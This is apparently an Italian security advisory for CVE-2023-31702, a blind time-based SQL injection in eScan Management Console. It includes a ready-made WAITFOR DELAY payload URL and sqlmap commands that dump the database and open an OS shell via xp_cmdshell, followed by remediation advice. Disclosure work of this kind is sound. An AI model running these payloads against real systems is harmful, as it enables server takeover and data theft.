
CVE-2023-31702 è una vulnerabilità di SQL Injection autenticata scoperta in MicroWorld Technologies eScan Management Console versione 14.0.1400.2281.
CVE-2023-31702 è una vulnerabilità di iniezione SQL autenticata scoperta in MicroWorld Technologies eScan Management Console versione 14.0.1400.2281. La vulnerabilità è presente nell'endpoint GetUserCurrentPwd, dove il parametro UsrId viene passato direttamente in una query SQL senza un'adeguata sanitizzazione o parametrizzazione. Un attaccante autenticato può sfruttare questa falla per eseguire un'iniezione SQL cieca basata sul tempo, estrarre l'intero database backend e, infine, ottenere una shell interattiva del sistema operativo sul Microsoft SQL Server sottostante, portando alla completa compromissione del sistema.
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2023-31702 |
| Tipo di Vulnerabilità | Iniezione SQL (Cieca Basata sul Tempo / Query Impilate) |
| Prodotto Interessato | MicroWorld Technologies eScan Management Console |
| Versione Interessata | 14.0.1400.2281 |
| Endpoint Vulnerabile | /ewconsole/ewconsole.dll/GetUserCurrentPwd |
| Parametro Vulnerabile | UsrId |
| Autenticazione | Richiesta (credenziali valide della console) |
| Testato Su | Windows |
| Punteggio CVSS v3.1 | 8.8 (Alto) |
| Vettore CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Data di Segnalazione | 16 maggio 2023 |
| Autore | Sahil Ojha |
| Campo | Dettagli |
|---|---|
| Fornitore | MicroWorld Technologies |
| Prodotto | eScan Management Console |
| Homepage del Fornitore | https://www.escanav.com |
| Link del Software | https://cl.escanav.com/ewconsole.dll |
| Piattaforma | Windows |
La eScan Management Console fornisce un'interfaccia web per la gestione della sicurezza degli endpoint nella rete di un'organizzazione. La funzionalità "View User Profile" espone un endpoint di tipo REST:
/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<counter>
Il parametro UsrId viene incorporato in una query SQL backend senza validazione, escaping o utilizzo di query parametrizzate. Ciò consente a un attaccante autenticato di iniettare istruzioni SQL arbitrarie nella query, con i seguenti risultati:
WAITFOR DELAY per confermare la sfruttabilità.xp_cmdshell di SQL Server (abilitata tramite sp_configure) per eseguire comandi arbitrari del sistema operativo sul server con i privilegi dell'account di servizio di SQL Server.Lo sfruttamento riuscito di questa vulnerabilità consente a un attaccante di:
⚠️ Nota: L'attaccante deve prima ottenere credenziali valide per la eScan Management Console. Tuttavia, una volta autenticato, lo sfruttamento è semplice e non richiede privilegi elevati sulla console.
Dopo aver effettuato l'autenticazione alla eScan Management Console, accedere al seguente URL:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493
Questo restituisce i dati del profilo utente corrente, confermando che l'endpoint è accessibile.

Iniettare il seguente payload di ritardo temporale nel parametro UsrId:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176
Analisi del payload:
; — termina l'istruzione SQL originale e ne inizia una nuova (query impilata).WAITFOR DELAY '0:0:5' — istruisce SQL Server a mettere in pausa per 5 secondi prima di rispondere.-- — commenta il resto della query originale per prevenire errori di sintassi.Se la risposta del server subisce un ritardo di ~5 secondi, l'iniezione è confermata.

Una volta confermata l'iniezione SQL cieca, l'intero database può essere estratto utilizzando SQLMap:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--dbs \
--batch
Questo comando enumera tutti i database ospitati sul backend SQL Server.
SQLMap può inoltre elevare l'attacco all'esecuzione di comandi a livello di sistema operativo abilitando e sfruttando xp_cmdshell:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--os-shell \
--batch
Questo stabilisce una shell interattiva del sistema operativo sull'host di SQL Server.

Con la shell del sistema operativo stabilita, è possibile eseguire comandi Windows arbitrari sul server:

Si raccomandano vivamente le seguenti misure per rimediare e mitigare questa vulnerabilità:
Utilizzare Query Parametrizzate / Prepared Statements — Non concatenare mai l'input fornito dall'utente direttamente nelle query SQL. Utilizzare parametri associati per separare i dati dalla logica della query.
Validazione e Sanitizzazione dell'Input — Validare rigorosamente tutti i parametri forniti dall'utente lato server. Per identificatori numerici come UsrId, imporre un input composto da soli numeri interi e rifiutare qualsiasi valore contenente caratteri speciali.
Applicare la Patch del Fornitore — Aggiornare la eScan Management Console all'ultima versione disponibile. Contattare il supporto di MicroWorld Technologies o fare riferimento ai loro security advisory per la release patchata più recente.
Privilegio Minimo per gli Account del Database — L'account del database dell'applicazione dovrebbe avere solo i permessi minimi richiesti. Non dovrebbe avere i ruoli sysadmin o db_owner e xp_cmdshell dovrebbe essere disabilitata.
Disabilitare xp_cmdshell — A meno che non sia esplicitamente richiesta, disabilitare la stored procedure estesa xp_cmdshell sull'istanza di SQL Server:
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
Web Application Firewall (WAF) — Distribuire un WAF per rilevare e bloccare i pattern comuni di iniezione SQL come misura di difesa in profondità.
Segmentazione della Rete — Limitare l'accesso alla eScan Management Console a intervalli di IP fidati e assicurarsi che SQL Server non sia esposto direttamente a internet.
| Data | Evento |
|---|---|
| 16 maggio 2023 | Vulnerabilità scoperta e segnalata da Sahil Ojha |
| maggio 2023 | CVE-2023-31702 assegnato da MITRE |
| maggio 2023 | Divulgazione pubblica |
Sahil Ojha — Ricercatore di Sicurezza
Questa divulgazione è intesa esclusivamente a scopo educativo e di ricerca sulla sicurezza. Lo sfruttamento di questa vulnerabilità contro sistemi senza un'autorizzazione scritta esplicita è illegale e non etico.